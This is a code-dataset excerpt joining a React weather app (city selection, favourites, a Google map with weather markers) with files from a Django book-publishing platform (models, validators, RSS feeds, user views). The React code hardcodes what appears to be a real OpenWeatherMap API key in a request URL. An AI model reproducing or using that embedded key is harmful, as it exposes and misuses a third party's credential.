isFavorite: PropTypes.bool.isRequired,
toggleFavorite: PropTypes.func.isRequired
};
export default CityCard;
<file_sep>/src/app/index.js
import React from "react";
import { BrowserRouter as Router, Route, Switch } from "react-router-dom";
import { Home, Favorites } from "./pages";
import { Header, Footer } from "./components";
import "./index.scss";
class App extends React.Component {
constructor(props) {
super(props);
this.state = {
countries: [],
error: null,
selectedOption: "",
cities: {},
favCities: []
};
}
componentDidMount() {
let data = localStorage.getItem("favCities");
this.setState({ favCities: data ? JSON.parse(data) : [] });
fetch("http://api.geonames.org/countryInfoJSON?username=spidee")
.then(response => response.json())
.then(json => {
let countries = {};
json["geonames"].forEach(country => {
countries[country["countryName"]] = country["countryCode"];
});
this.setState({ countries });
})
.catch(() => this.setState({ error: "Something went wrong" }));
}
toggleFavorite = (name, code) => {
const { cities } = this.state;
let { favCities } = this.state;
let city = cities[name];
let icon = city ? city.icon : null;
let temperature = city ? city.temperature : null;
let wasDeleted = false;
for (let index = 0; index < favCities.length; index++) {
if (
favCities[index].name === name &&
favCities[index].countryCode === code
) {
favCities.splice(index, 1);
wasDeleted = true;
break;
}
}
if (!wasDeleted) {
favCities.push({ name, countryCode: code, temperature, icon });
}
this.setState(favCities);
};
componentWillUpdate(nextProps, nextState) {
localStorage.setItem("favCities", JSON.stringify(this.state.favCities));
}
callbackFunction = childData => {
this.setState({ selectedOption: childData });
let cities = {};
fetch(
`http://api.geonames.org/searchJSON?username=spidee&country=${
childData.value
}&style=SHORT`
)
.then(response => response.json())
.then(json => {
let tempLinks = [];
json.geonames.forEach(city => {
if (
city.fcode === "PPL" ||
city.fcode === "PPLA" ||
city.fcode === "PPLA2" ||
city.fcode === "PPLA3" ||
city.fcode === "PPLA4" ||
city.fcode === "PPLC"
) {
cities[city.name] = {
countryCode: city.countryCode,
lng: city.lng,
lat: city.lat,
isFavorite: false
};
tempLinks.push(
`http://api.openweathermap.org/data/2.5/weather?lat=${
city.lat
}&lon=${city.lng}&appid=aa93edde7a9534f17b79612d2eaf7060`
);
}
});
const promises = link =>
fetch(link)
.then(res => res.json())
.then(res => {
Object.assign(cities[res.name], {
temperature: Math.round(res.main.temp - 273),
icon: res.weather[0].icon
});
})
.catch(err => {});
return Promise.all(tempLinks.map(promises));
})
.then(res => this.setState({ cities }))
.catch(res => console.log("error: " + res));
};
renderHome = () => {
const { cities, countries, favCities } = this.state;
return (
<Home
cities={cities}
toggleFavorite={this.toggleFavorite}
countries={countries}
favCities={favCities}
parentCallback={this.callbackFunction}
/>
);
};
renderFavorites = () => {
const { favCities } = this.state;
return (
<Favorites favCities={favCities} toggleFavorite={this.toggleFavorite} />
);
};
render() {
return (
<div className="AppLayout">
<Router>
<Header />
<main>
<Switch>
<Route exact path="/" component={this.renderHome} />
<Route exact path="/favorites" component={this.renderFavorites} />
</Switch>
</main>
<Footer />
</Router>
</div>
);
}
}
export default App;
<file_sep>/src/app/pages/Home/index.scss
.home {
background-color: azure;
width: 100%;
display: flex;
flex-direction: column;
text-align: center;
align-items: center;
&--list {
width: 100%;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
height: 150px;
h1 {
margin: 20px;
font-size: 20px;
}
.selector {
width: 50%;
}
}
.homeInline {
width: 80%;
display: flex;
flex-direction: column;
align-items: center;
&--map {
width: 90%;
position: relative;
height: 200px;
margin-top: 20px;
}
&--item {
width: 100%;
.cardsName {
display: flex;
background-color: cornsilk;
margin-top: 20px;
font-size: 14px;
align-items: center;
}
.cardsName > * {
flex: 1 1;
text-align: center;
}
}
}
}
@media screen and (min-width: 450px) and (max-width: 1025px) {
.home {
&--list {
margin-top: 30px;
margin-bottom: 30px;
h1 {
margin: 50px;
font-size: 30px;
}
.selector {
width: 60%;
}
}
.homeInline {
&--map {
margin: 50px 0 50px 0;
width: 80%;
height: 350px;
}
&--name,
&--item {
font-size: 20px;
}
.cardsName {
font-size: 20px;
}
}
}
}
@media screen and (min-width: 1025px) {
.home {
.selector {
width: 40%;
}
.homeInline {
display: flex;
width: 90%;
flex-direction: row;
justify-content: space-between;
align-items: flex-start;
.emptyCities {
width: 0%;
}
&--map {
margin-right: 20px;
height: 400px;
}
&--item {
margin-left: 20px;
margin-right: 20px;
.cardsName {
font-size: 20px;
}
}
}
}
}
<file_sep>/src/app/pages/Favorites/index.js
import React from "react";
import PropTypes from "prop-types";
import "./index.scss";
import { CityCard } from "../../components";
function Favorites({ favCities, toggleFavorite }) {
const cards = [];
favCities.map(city => {
cards.push(
<CityCard
key={city.name}
name={city.name}
code={city.countryCode}
title={city.name + ", " + city.countryCode}
icon={city.icon}
temperature={city.temperature}
isFavorite={true}
toggleFavorite={toggleFavorite}
/>
);
return "";
});
const nameList =
cards.length !== 0 ? (
<div className="cardsName">
<p>City</p>
<p>Weather</p>
<p>Celsius</p>
<p>Remove from favorites</p>
</div>
) : (
<p className="empty">You do not have any favorite cities</p>
);
return (
<div className="favorites">
{nameList}
<div className="home">
<div className="homeInline">
<div className="homeInline--item">{cards}</div>
</div>
</div>
</div>
);
}
Favorites.defaultProps = {
favCities: {}
};
Favorites.propTypes = {
favCities: PropTypes.arrayOf(
PropTypes.shape({
name: PropTypes.string.isRequired,
code: PropTypes.string,
icon: PropTypes.string,
temperature: PropTypes.number,
isFavorite: PropTypes.bool
})
),
toggleFavorite: PropTypes.func.isRequired
};
export default Favorites;
<file_sep>/src/app/pages/Favorites/index.scss
.favorites {
width: 100%;
display: flex;
flex-direction: column;
align-items: center;
background-color: azure;
.cardsName {
display: flex;
background-color: cornsilk;
margin-top: 40px;
font-size: 14px;
align-items: center;
width: 80%;
}
.cardsName > * {
flex: 1 1;
text-align: center;
}
}
@media screen and (min-width: 450px) and (max-width: 1025px) {
.favorites {
.cardsName {
margin-top: 50px;
font-size: 20px;
}
.empty {
margin-top: 100px;
font-size: 25px;
}
}
}
@media screen and (min-width: 1025px) {
.favorites {
.cardsName {
width: 50%;
margin-top: 50px;
font-size: 20px;
}
.empty {
margin-top: 100px;
font-size: 20px;
}
.homeInline {
display: flex;
flex-direction: column;
align-items: center;
width: 100%;
.homeInline--item {
width: 50%;
}
}
}
}
<file_sep>/src/app/pages/Home/index.js
import React from "react";
import PropTypes from "prop-types";
import "./index.scss";
import Select from "react-select";
import { CityCard, MapContainer } from "../../components";
class Home extends React.Component {
constructor(props) {
super(props);
this.state = {
cities: {},
countries: [],
toggleFavorite: false,
selectedOption: null,
country: ""
};
}
handleChange = selectedOption => {
this.setState({ selectedOption });
this.props.parentCallback(selectedOption);
};
callbackFunction = (country, countryCode) => {
if (this.state.country === country) {
return;
}
this.setState({ country: country });
this.setState({ countryCode: country });
this.handleChange({ label: country, value: countryCode });
};
render = () => {
const { countries, cities, toggleFavorite, favCities } = this.props;
const { selectedOption } = this.state;
const cards = [];
let countriesOptions = [];
Object.keys(countries).forEach((i, index) => {
countriesOptions.push({
label: i,
value: Object.values(countries)[index]
});
});
Object.keys(cities).forEach(key => {
let value = cities[key];
let isFavorite = false;
for (let index = 0; index < favCities.length; index++) {
if (
favCities[index].name === key &&
favCities[index].countryCode === value.countryCode
) {
isFavorite = true;
break;
}
}
cards.push(
<CityCard
key={key}
name={key}
code={selectedOption ? selectedOption.value : null}
title={key}
{...value}
isFavorite={isFavorite}
toggleFavorite={toggleFavorite}
/>
);
});
countriesOptions.sort((a, b) => (a.label > b.label ? 1 : -1));
const nameList =
cards.length !== 0 ? (
<div className="cardsName">
<p>City</p>
<p>Weather</p>
<p>Celsius</p>
<p>Add to favorites</p>
</div>
) : (
<p>You did not chose any country</p>
);
let select = selectedOption ? selectedOption.label : this.state.country;
return (
<div className="home">
<div className="home--list">
<h1>Choose country</h1>
<Select
options={countriesOptions.sort()}
value={countriesOptions.filter(option => option.label === select)}
onChange={this.handleChange}
className="selector"
/>
</div>
<div className="homeInline">
<div className="homeInline--map">
<MapContainer
cities={cities}
parentCallback={this.callbackFunction}
/>
</div>
<div className="homeInline--item">
{nameList}
{cards}
</div>
</div>
</div>
);
};
}
Home.propTypes = {
favCities: PropTypes.arrayOf(
PropTypes.shape({
name: PropTypes.string.isRequired,
code: PropTypes.string
})
),
parentCallback: PropTypes.func.isRequired,
toggleFavorite: PropTypes.func.isRequired
};
export default Home;
<file_sep>/src/app/components/Map/index.js
import React, { Component } from "react";
import { Map, GoogleApiWrapper, Marker } from "google-maps-react";
import "./index.scss";
export class MapContainer extends Component {
constructor(props) {
super(props);
this.state = {};
}
getLocation = () => {
navigator.geolocation.getCurrentPosition(this.showPosition);
};
showPosition = position => {
fetch(
`https://maps.googleapis.com/maps/api/geocode/json?latlng=${
position.coords.latitude
},${
position.coords.longitude
}1&key=<KEY>`
)
.then(res => res.json())
.then(data => {
if (!data || !data.results) {
return;
}
data.results.map(component => {
let addresses = component.address_components;
if (!addresses) {
return null;
}
return addresses.map(address => {
if (address.long_name && address.types && address.short_name) {
if (address.types.indexOf("country") > -1) {
this.props.parentCallback(
address.long_name,
address.short_name
);
}
}
return null;
});
});
});
};
componentDidMount() {
this.getLocation();
}
render() {
const { cities } = this.props;
let markers = [];
let left = 180;
let right = -180;
let top = -180;
let bottom = 180;
Object.keys(cities).forEach((i, index) => {
let value = cities[i];
if (value.icon) {
left = left > value.lng ? value.lng : left;
right = right < value.lng ? value.lng : right;
top = top < value.lat ? value.lat : top;
bottom = bottom > value.lat ? value.lat : bottom;
markers.push(
<Marker
key={value.lat}
position={{ lat: value.lat, lng: value.lng }}
options={{
icon: {
url: `http://openweathermap.org/img/wn/${value.icon}@2x.png`,
scaledSize: { width: 32, height: 32 }
}
}}
/>
);
}
});
let bounds = new this.props.google.maps.LatLngBounds();
bounds.extend({ lat: parseFloat(top), lng: parseFloat(left) });
bounds.extend({ lat: parseFloat(bottom), lng: parseFloat(left) });
bounds.extend({ lat: parseFloat(top), lng: parseFloat(right) });
bounds.extend({ lat: parseFloat(bottom), lng: parseFloat(right) });
let map = (
<Map google={this.props.google} bounds={bounds}>
{markers}
</Map>
);
return map;
}
}
export default GoogleApiWrapper({
apiKey: "<KEY>"
})(MapContainer);
|
bd04f4ff03e1919bd3e8288340ba86b90071fde9
|
[
"SCSS",
"JavaScript"
] | 8 |
SCSS
|
GomatoX/weather-app
|
177e2c0c4deaa3db48138273cd02cc7f42f7cb62
|
b0109e6b4c5a6dddcc68fb66d0ce5eae8419f08d
|
refs/heads/master
|
<file_sep>from django.conf.urls.defaults import *
urlpatterns = patterns('',
(r'^book/$', 'apps.rss.views.books'),
(r'^book/(?P<book_id>\d+)/$', 'apps.rss.views.book'),
(r'^book/(?P<book_id>\d+)/comments/$', 'apps.rss.views.bookcomments'),
)
<file_sep>/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Initial Developer of the Original Code is Parakey Inc.
*
* Portions created by the Initial Developer are Copyright (C) 2006
* the Initial Developer. All Rights Reserved.
*
* Contributor(s):
* <NAME> <<EMAIL>>
*
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
*
* ***** END LICENSE BLOCK ***** */
.firebugHighlight {
z-index: 2147483647;
position: absolute;
background-color: #3875d7;
}
.firebugLayoutBoxParent {
z-index: 2147483647;
position: absolute;
border-right: 1px dashed #BBBBBB;
border-bottom: 1px dashed #BBBBBB;
}
.firebugRulerH {
position: absolute;
top: -15px;
left: 0;
width: 100%;
height: 14px;
background: url(chrome://firebug/skin/rulerH.png) repeat-x;
border-top: 1px solid #BBBBBB;
border-right: 1px dashed #BBBBBB;
border-bottom: 1px solid #000000;
}
.firebugRulerV {
position: absolute;
top: 0;
left: -15px;
width: 14px;
height: 100%;
background: url(chrome://firebug/skin/rulerV.png) repeat-y;
border-left: 1px solid #BBBBBB;
border-right: 1px solid #000000;
border-bottom: 1px dashed #BBBBBB;
}
.overflowRulerX > .firebugRulerV {
left: 0;
}
.overflowRulerY > .firebugRulerH {
top: 0;
}
/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
.firebugLayoutBoxOffset {
z-index: 2147483647;
position: absolute;
opacity: 0.8;
}
.firebugLayoutBoxMargin {
background-color: #EDFF64;
}
.firebugLayoutBoxBorder {
background-color: #666666;
}
.firebugLayoutBoxPadding {
background-color: SlateBlue;
}
.firebugLayoutBoxContent {
background-color: SkyBlue;
}
/*.firebugHighlightGroup .firebugLayoutBox {
background-color: transparent;
}
.firebugHighlightBox {
background-color: Blue !important;
}*/
.firebugLayoutLine {
z-index: 2147483647;
background-color: #000000;
opacity: 0.4;
}
.firebugLayoutLineLeft,
.firebugLayoutLineRight {
position: fixed;
width: 1px;
height: 100%;
}
.firebugLayoutLineTop,
.firebugLayoutLineBottom {
position: absolute;
width: 100%;
height: 1px;
}
.firebugLayoutLineTop {
margin-top: -1px;
border-top: 1px solid #999999;
}
.firebugLayoutLineRight {
border-right: 1px solid #999999;
}
.firebugLayoutLineBottom {
border-bottom: 1px solid #999999;
}
.firebugLayoutLineLeft {
margin-left: -1px;
border-left: 1px solid #999999;
}
<file_sep>from utils import validator as valid
from django.core import validators
from django.contrib.auth.models import User
class LoginValidator(valid.Validator):
username = valid.CharField()
password = valid.CharField()
class RegisterValidator(valid.Validator):
username = valid.CharField(max_length=30, min_length=4)
password = valid.CharField(max_length=30, min_length=4, validator_list=[validators.AlwaysMatchesOtherField('password1', _("Password is not matched!"))])
password1 = valid.CharField(max_length=30)
email = valid.EmailField(max_length=30)
def __init__(self, request):
self.fields['username'].add_validator(self.isValidUser)
self.fields['email'].add_validator(self.isValidEmail)
def isValidUser(self, field_data, all_data):
for c in field_data:
if c in '~`!@#$%^&*();:\'",./<>?\|+= ':
raise valid.ValidationError, _("There cannot be invalidate character in user name")
try:
User.objects.get(username=field_data)
except User.DoesNotExist:
return
else:
raise valid.ValidationError, _("The username has been registered, please try another one.")
def isValidEmail(self, field_data, all_data):
try:
User.objects.get(email=field_data)
except User.DoesNotExist:
return
else:
raise valid.ValidationError, "This email has been used."
def save(self, data):
u = User.objects.create_user(data["username"], data["email"], data["password"])
u.is_staff = True
u.is_active = True
u.is_superuser = False
u.save()
return u
class ChangeValidator(RegisterValidator):
portrait = valid.ImageField(required=False)
__removed_fields__ = ['username']
def __init__(self, request, user_id):
self.user_id = user_id
self.fields['password'].required = False
self.fields['password1'].required = False
def save(self, data):
u = User.objects.get(pk=int(self.user_id))
u.email = data['email']
if data.get('password', ''):
u.set_password(data['password'])
u.save()
if data.get('portrait', None):
from utils import image, fileutil
filename = 'users_' + u.username + '.jpg'
filename = fileutil.resetfilename(filename, 'photo')
u.get_profile().save_portrait_file(filename, image.thumbnail_string(data['portrait']['content']))
return u
<file_sep>from apps.books.models import Comment, Chapter, Book
import utils.validator as valid
from django.contrib.auth.models import User
class AddCommentValidator(valid.Validator):
username = valid.CharField()
email = valid.EmailField(max_length=30)
website = valid.URLField(required=False, default='')
content = valid.CharField()
comment_num = valid.CharField()
def __init__(self, request, book_id, chapter_num):
self.request = request
self.chapter_num = chapter_num
self.book_id = book_id
def save(self, data):
book = Book.objects.get(pk=int(self.book_id))
chapter = Chapter.objects.get(num=self.chapter_num, book=book)
from utils.textconvert import plaintext2html
obj = Comment.objects.create(book=book, chapter=chapter, comment_num=data['comment_num'],
username=data['username'], email=data['email'], website=data['website'],
content=data['content'], html=plaintext2html(data['content']))
return obj
class BookValidator(valid.Validator):
title = valid.CharField()
description = valid.CharField()
license = valid.CharField(required=False, default='')
icon = valid.CharField(required=False)
textformat = valid.CharField()
slug = valid.CharField()
def __init__(self, request, object_id=None):
self.object_id = object_id
self.request = request
def save(self, data):
if not self.object_id:
obj = Book.objects.create(title=data['title'], description=data['description'],
license=data['license'], textformat=data['textformat'], slug=data['slug'])
obj.authors.add(self.request.user)
else:
obj = Book.objects.get(pk=int(self.object_id))
obj.title = data['title']
obj.description = data['description']
obj.license = data['license']
obj.textformat = data['textformat']
obj.slug = data['slug']
obj.save()
if data['icon']:
from utils import image, fileutil
filename = 'book_' + str(obj.id) + '.jpg'
filename = fileutil.resetfilename(filename, 'books_icon')
obj.save_icon_file(filename, image.thumbnail_string(data['icon']['content'], size=(70,93)))
return obj
class ChapterValidator(valid.Validator):
title = valid.CharField()
abstract = valid.CharField(required=False, default='')
content = valid.CharField()
num = valid.CharField()
def __init__(self, request, book_id, object_id=None):
self.object_id = object_id
self.book_id = book_id
self.book = Book.objects.get(pk=int(book_id))
self.request = request
self.fields['num'].add_validator(self.isValidNum)
def isValidNum(self, field_data, all_data):
if not self.object_id:
try:
Chapter.objects.get(num=field_data, book=self.book)
except Chapter.DoesNotExist:
return
else:
raise valid.ValidationError, _("This chapter num has been used.")
def save(self, data):
if not self.object_id:
obj = Chapter.objects.create(title=data['title'], abstract=data['abstract'],
content=data['content'], num=data['num'], book=self.book)
else:
obj = Chapter.objects.get(pk=int(self.object_id))
obj.title = data['title']
obj.content = data['content']
obj.num = data['num']
obj.abstract = data.get('abstract', '')
obj.save()
return obj
class AddUserValidator(valid.Validator):
username = valid.CharField()
def __init__(self, book_id):
self.book_id = book_id
self.fields['username'].add_validator(self.IsValidUser)
def IsValidUser(self, data, all_data):
try:
user = User.objects.get(username=data)
except User.DoesNotExist:
raise valid.ValidationError, _("User %s don't exist." % data)
def save(self, data):
user = User.objects.get(username=data['username'])
book = Book.objects.get(pk=int(self.book_id))
for u in book.authors.all():
if u.username == data['username']:
break
else:
book.authors.add(user)
return user
<file_sep>from django.conf.urls.defaults import *
from django.contrib.auth.models import User
urlpatterns = patterns('apps.users.views.views',
(r'^$', 'userlist'),
(r'^(?P<object_id>\d+)/$', 'user_detail'),
(r'^(?P<object_id>\d+)/edit/$', 'user_edit'),
(r'^(?P<object_id>\d+)/saveportrait/$', 'user_save_portrait'),
# (r'^(?P<object_id>\d+)/document/', include('apps.document.iurls'), {'model':User, 'url':'user'}),
(r'^delete/$', 'user_delete_multi'),
(r'^(?P<object_id>\d+)/delete/$', 'user_delete'),
(r'^addsysmanager/$', 'user_addsysmanager_multi'),
(r'^(?P<object_id>\d+)/addsysmanager/$', 'user_addsysmanager'),
(r'^(?P<object_id>\d+)/removesysmanager/$', 'user_removesysmanager'),
)
import apps.document.views
from utils.decorator import template, ajax_iframe_response
from decorator import add_person
d_list = template('users/user_document.html')
d_edit = template('users/user_document_detail.html')
d_tag = template('users/user_document_tag.html')
para = {'model':User, 'url':'user'}
urlpatterns += patterns('',
(r'^(?P<object_id>\d+)/document/$', d_list(add_person(apps.document.views.list)), para),
(r'^(?P<object_id>\d+)/document/addfile/$', ajax_iframe_response(apps.document.views.addfile), para),
(r'^(?P<object_id>\d+)/document/list/$', 'apps.document.views.ajax_list', para),
(r'^(?P<object_id>\d+)/document/taglist/$', 'apps.document.views.ajax_taglist', para),
(r'^(?P<object_id>\d+)/document/delete/$', 'apps.document.views.delete', para),
(r'^(?P<object_id>\d+)/document/(?P<doc_id>\d+)/edit/$', d_edit(add_person(apps.document.views.edit)), para),
(r'^(?P<object_id>\d+)/document/(?P<doc_id>\d+)/delete/$', 'apps.document.views.delete', para),
(r'^(?P<object_id>\d+)/document/tag/(?P<tag_id>\d+)/delete/$', 'apps.document.views.deletetag', para),
(r'^(?P<object_id>\d+)/document/tag/(?P<tag_id>\d+)/list/$', 'apps.document.views.ajax_tagfilelist', para),
(r'^(?P<object_id>\d+)/document/tag/(?P<tag_id>\d+)/$', d_tag(add_person(apps.document.views.tag)), para),
)
import apps.newmessage.views
m_list = template('users/user_message.html')
urlpatterns += patterns('',
(r'^(?P<object_id>\d+)/message/$', m_list(add_person(apps.newmessage.views.list))),
(r'^(?P<object_id>\d+)/message/list/$', 'apps.newmessage.views.ajax_list'),
(r'^(?P<object_id>\d+)/message/delete/$', 'apps.newmessage.views.delete'),
# (r'^(?P<object_id>\d+)/message/(?P<message_id>\d+)/delete/$', 'apps.newmessage.views.delete'),
(r'^(?P<object_id>\d+)/message/send/$', 'apps.newmessage.views.send'),
)
<file_sep>import datetime
from django.utils.translation import gettext_lazy as _
from django.contrib.auth.models import User
from django.contrib.auth import authenticate, login, logout
from django.db import transaction
from utils import ajax
from utils import decorator
from apps.users.views.authvalidator import LoginValidator, RegisterValidator
from utils.common import render_template, setting
def user_login(request):
v = LoginValidator()
f, result = v.validate(request)
if not f:
return ajax.ajax_fail(result)
username = result['username']
password = result['password']
user = authenticate(username=username, password=password)
if user is None:
message = {'_':_('Authentication is failed!')}
if '@' in username:
# Mistakenly entered e-mail address instead of username? Look it up.
try:
user = User.objects.get(email=username)
except User.DoesNotExist:
message['username'] = _("Usernames cannot contain the '@' character.")
else:
message['username'] = _("Your e-mail address is not your username. Try '%s' instead.") % user.username
return ajax.ajax_fail(message)
# The user data is correct; log in the user in and continue.
else:
if user.is_staff:
login(request, user)
user.last_login = datetime.datetime.now()
user.save()
return ajax.ajax_ok(True, next=request.POST.get('next', setting('URLROOT') + '/'))
from django.dispatch import dispatcher
import apps.users.signals
@decorator.redirect(setting('URLROOT') + '/')
def user_logout(request):
dispatcher.send(signal=apps.users.signals.user_logout, request=request)
logout(request)
@transaction.autocommit
def user_register(request):
v = RegisterValidator(request)
if request.POST:
f, obj = v.validate_and_save(request)
if f:
user = authenticate(username=obj.username, password=obj.password)
if user and user.is_staff:
login(request, user)
user.last_login = datetime.datetime.now()
user.save()
return ajax.ajax_ok(True, next=setting('URLROOT') + '/')
return ajax.ajax_fail(obj)
else:
return render_template(request, 'users/register.html')
<file_sep>from utils.easyfeed import EasyFeed
from apps.books.models import Book
from utils.common import setting
class BooksFeed(EasyFeed):
def __init__(self, feed_url):
super(BooksFeed, self).__init__(feed_url)
def link(self):
return setting('URLROOF') + '/booklist/'
def items(self):
return Book.objects.all()[:15]
def title(self):
return u'Open Book Platform'
def description(self):
return u'Open Book Platform'
def item_link(self, item):
return setting('URLROOF') + '/book/%d/' % item.id
def item_description(self, item):
return item.description
def item_title(self, item):
return item.title
def item_pubdate(self, item):
return item.modifydate
def item_author_name(self, item):
return ','.join([x.username for x in item.authors.all()])
class BookFeed(EasyFeed):
def __init__(self, feed_url, book_id):
super(BookFeed, self).__init__(feed_url)
self.book_id = book_id
self.book = Book.objects.get(id=int(book_id))
def link(self):
return setting('URLROOF') + '/book/%s/' % self.book_id
def items(self):
return self.book.chapter_set.all()[:15]
def title(self):
return self.book.title
def description(self):
return self.book.description
def item_link(self, item):
return setting('URLROOF') + '/book/%d/%s/' % (item.book.id, item.num)
def item_description(self, item):
return item.html
def item_title(self, item):
return item.title
def item_pubdate(self, item):
return item.modifydate
def item_author_name(self, item):
return ','.join([x.username for x in item.book.authors.all()])
class BookCommentsFeed(EasyFeed):
def __init__(self, feed_url, book_id):
super(BookCommentsFeed, self).__init__(feed_url)
self.book_id = book_id
self.book = Book.objects.get(id=int(book_id))
def link(self):
return setting('URLROOF') + '/book/%s/' % self.book_id
def items(self):
return self.book.comment_set.all().order_by('-createtime')[:15]
def title(self):
return 'Comments of: ' + self.book.title
def description(self):
return self.book.description
def item_link(self, item):
return setting('URLROOF') + '/book/%s/%s/#%s' % (self.book_id, item.chapter.num, item.comment_num)
def item_description(self, item):
return item.content
def item_title(self, item):
return '#%d Comment for: ' % item.id + item.chapter.title
def item_pubdate(self, item):
return item.createtime
def item_author_name(self, item):
return item.username
<file_sep>def get_full_path(request):
full_path = ('http', ('', 's')[request.is_secure()], '://', request.META['HTTP_HOST'], request.path)
return ''.join(full_path)
from django.template import RequestContext
from django.shortcuts import render_to_response
def render_template(request, template_path, extra_context = {}):
c = RequestContext(request)
c.update(extra_context)
return render_to_response(template_path, context_instance=c)
def get_func(string):
module, func = string.rsplit('.', 1)
mod = __import__(module, {}, {}, [''])
return getattr(mod, func)
def get_func_args(func, args, kwargs, skip=None):
import inspect
v = inspect.getargspec(func)
k = v[0]
defaults = v[-1]
if not defaults:
defaults = ()
k1 = k[:-1*len(defaults)]
if skip is not None:
k = k[skip:]
k1 = k1[skip:]
ks = {}
for i, p in enumerate(k[:]):
if p in kwargs:
ks[p] = kwargs[p]
del k[i]
if p in k1:
k1.remove(p)
ars = args[:len(k1)]
return ars, ks
def setting(name, defaultvalue=''):
from django.conf import settings
return getattr(settings, name, defaultvalue)
#if __name__ == '__main__':
# def p(a,b,c=1,d=2):pass
# args, kwargs = get_func_args(p, (4,5,6), {'b':'a'})
# print p(*args, **kwargs)
# <file_sep>from django.db import models
from django.contrib.auth.models import User
from django.utils.translation import gettext_lazy as _
class Group(models.Model):
name = models.CharField(_('Group Name'), maxlength=80)
description = models.TextField(_('Description'), blank=True)
icon = models.ImageField(_('Icon'), upload_to='groups', blank=True)
managers = models.ManyToManyField(User, related_name="managers")
members = models.ManyToManyField(User, related_name="members")
public = models.BooleanField(default=True) #group is public or private
freejoin = models.BooleanField(default=True)#group can free join in
def __unicode__(self):
return self.name
class Admin: pass
def get_managers(self):
s = []
for m in self.managers.all():
s.append(m.username)
return ' '.join(s)
def is_manager(self, user):
if user.is_anonymous():
return False
if user.is_superuser or self.managers.filter(username=user.username):
return True
else:
return False
def is_member(self, user):
if user.is_anonymous():
return False
if self.is_manager(user) or self.members.filter(username=user.username):
return True
else:
return False
def add_member(self, user):
if not self.is_member(user):
self.members.add(user)
def del_member(self, user):
if self.is_member(user):
self.members.remove(user)
class UserProfile(models.Model):
portrait = models.ImageField(_('Photo'), upload_to='photo', blank=True)
user = models.ForeignKey(User, unique=True)
def __unicode__(self):
return self.user.username
class Admin: pass
def get_portrait(self):
if self.portrait:
return self.get_portrait_url()
else:
return 'img/user.jpg'<file_sep>from feeds import *
from utils.easyfeed import render_feed
from utils.common import get_full_path
def books(request):
return render_feed(BooksFeed(get_full_path(request)))
def book(request, book_id):
return render_feed(BookFeed(get_full_path(request), book_id))
def bookcomments(request, book_id):
return render_feed(BookCommentsFeed(get_full_path(request), book_id))
<file_sep>from django.db import models
from django.contrib.auth.models import User
from django.db.models import signals
from django.dispatch import dispatcher
C_TEXTFORMAT = [('rst', 'reStructuredText'), ('markdown', 'MarkDown')]
class Book(models.Model):
title = models.CharField(maxlength=100)
slug = models.CharField(maxlength=100, default='')
description = models.TextField()
authors = models.ManyToManyField(User)
createdate = models.DateTimeField(auto_now_add=True)
modifydate = models.DateTimeField(auto_now=True)
icon = models.ImageField(upload_to="books_icon", blank=True, null=True)
license = models.TextField(default='')
textformat = models.CharField(maxlength=20, choices=C_TEXTFORMAT, default='rst')
class Admin:pass
class Meta:
ordering = ['-modifydate']
def __unicode__(self):
return self.title
def isAuthor(self, user):
if user.is_anonymous():
return False
for o in self.authors.all():
if o.id == user.id:
return True
return False
class Chapter(models.Model):
book = models.ForeignKey(Book)
num = models.CharField(maxlength=20)
title = models.CharField(maxlength=100)
abstract = models.TextField()
modifydate = models.DateTimeField(auto_now=True)
content = models.TextField()
html = models.TextField()
comment_count = models.IntegerField(default=0)
class Admin:pass
class Meta:
ordering = ['num']
def __unicode__(self):
return self.title
def save(self):
if self.book.textformat == 'rst':
from utils.rst2html import rst2html
self.html = rst2html(self.content)
elif self.book.textformat == 'markdown':
import markdown
self.html = markdown.markdown(self.content)
super(Chapter, self).save()
def post_save_chapter(sender, instance, signal, *args, **kwargs):
try:
book = Book.objects.get(id=instance.book.id)
except Book.DoesNotExist:
return
# book.modifydate = datetime.datetime.now()
book.save()
dispatcher.connect(post_save_chapter , signal=signals.post_save, sender=Chapter)
class CommentInfo(models.Model):
chapter = models.ForeignKey(Chapter)
comment_num = models.CharField(maxlength=20)
count = models.IntegerField(default=0)
C_STATUS = ((0, 'None'), (1, 'Good'), (2, 'Bad'))
class Comment(models.Model):
book = models.ForeignKey(Book)
chapter = models.ForeignKey(Chapter)
comment_num = models.CharField(maxlength=20)
username = models.CharField(maxlength=50)
email = models.EmailField()
website = models.URLField(default='')
content = models.TextField()
html = models.TextField(default='')
status = models.IntegerField(choices=C_STATUS, default=0)
replay = models.TextField(default='')
createtime = models.DateTimeField(auto_now_add=True)
class Admin:pass
class Meta:
ordering = ['createtime']
def __unicode__(self):
return self.content
def pre_save_comment(sender, instance, signal, *args, **kwargs):
if instance.id == None:
try:
info = CommentInfo.objects.get(chapter=instance.chapter, comment_num=instance.comment_num)
except CommentInfo.DoesNotExist:
info = CommentInfo.objects.create(chapter=instance.chapter, comment_num=instance.comment_num)
info.count += 1
info.save()
try:
chapter = Chapter.objects.get(id=instance.chapter.id)
chapter.comment_count += 1
chapter.save()
except Chapter.DoesNotExists:
pass
def post_delete_comment(sender, instance, signal, *args, **kwargs):
if instance.id == None:
try:
info = CommentInfo.objects.get(chapter=instance.chapter, comment_num=instance.comment_num)
except CommentInfo.DoesNotExist:
return
if info.count <= 1:
info.delete()
else:
info.count -= 1
info.save()
try:
chapter = Chapter.objects.get(id=instance.chapter.id)
chapter.comment_count -= 1
chapter.save()
except Chapter.DoesNotExists:
pass
dispatcher.connect(pre_save_comment , signal=signals.pre_save, sender=Comment)
